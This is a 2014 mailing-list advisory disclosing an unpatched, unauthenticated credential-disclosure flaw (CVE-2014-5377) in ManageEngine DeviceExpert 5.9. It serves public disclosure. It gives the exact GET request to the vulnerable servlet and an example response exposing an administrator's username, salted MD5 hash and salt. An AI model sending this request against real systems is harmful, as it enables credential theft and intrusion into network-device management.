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[The ManageOwnage Series, part II]: User credential disclosure in ManageEngine DeviceExpert
From: Pedro Ribeiro <pedrib () gmail com>
Date: Wed, 27 Aug 2014 19:14:06 +0100

Hi,

You can read the usernames and MD5 hashed passwords of all the users
in the Device Expert application by sending an unauthenticated
request.
I am releasing this as a 0 day as ManageEngine have responded that
they do not consider this a priority and won't fix it in the near
future unless a customer requests it. See details below.

User credential disclosure in ManageEngine DeviceExpert 5.9
Discovered by Pedro Ribeiro (pedrib () gmail com), Agile Information Security
==========================================================================

Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change,
configuration and compliance management (NCCCM) solution for switches,
routers, firewalls and other network devices. Trusted by thousands of
network administrators around the world, DeviceExpert helps automate
and take total control of the entire life cycle of device
configuration management."


Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9
build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response:
<?xml version="1.0"
encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>noreply
 () zohocorp com</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash.

A copy of this advisory is available at my repo:
https://raw.githubusercontent.com/pedrib/PoC/master/me_deviceexpert-5.txt

Regards,
Pedro

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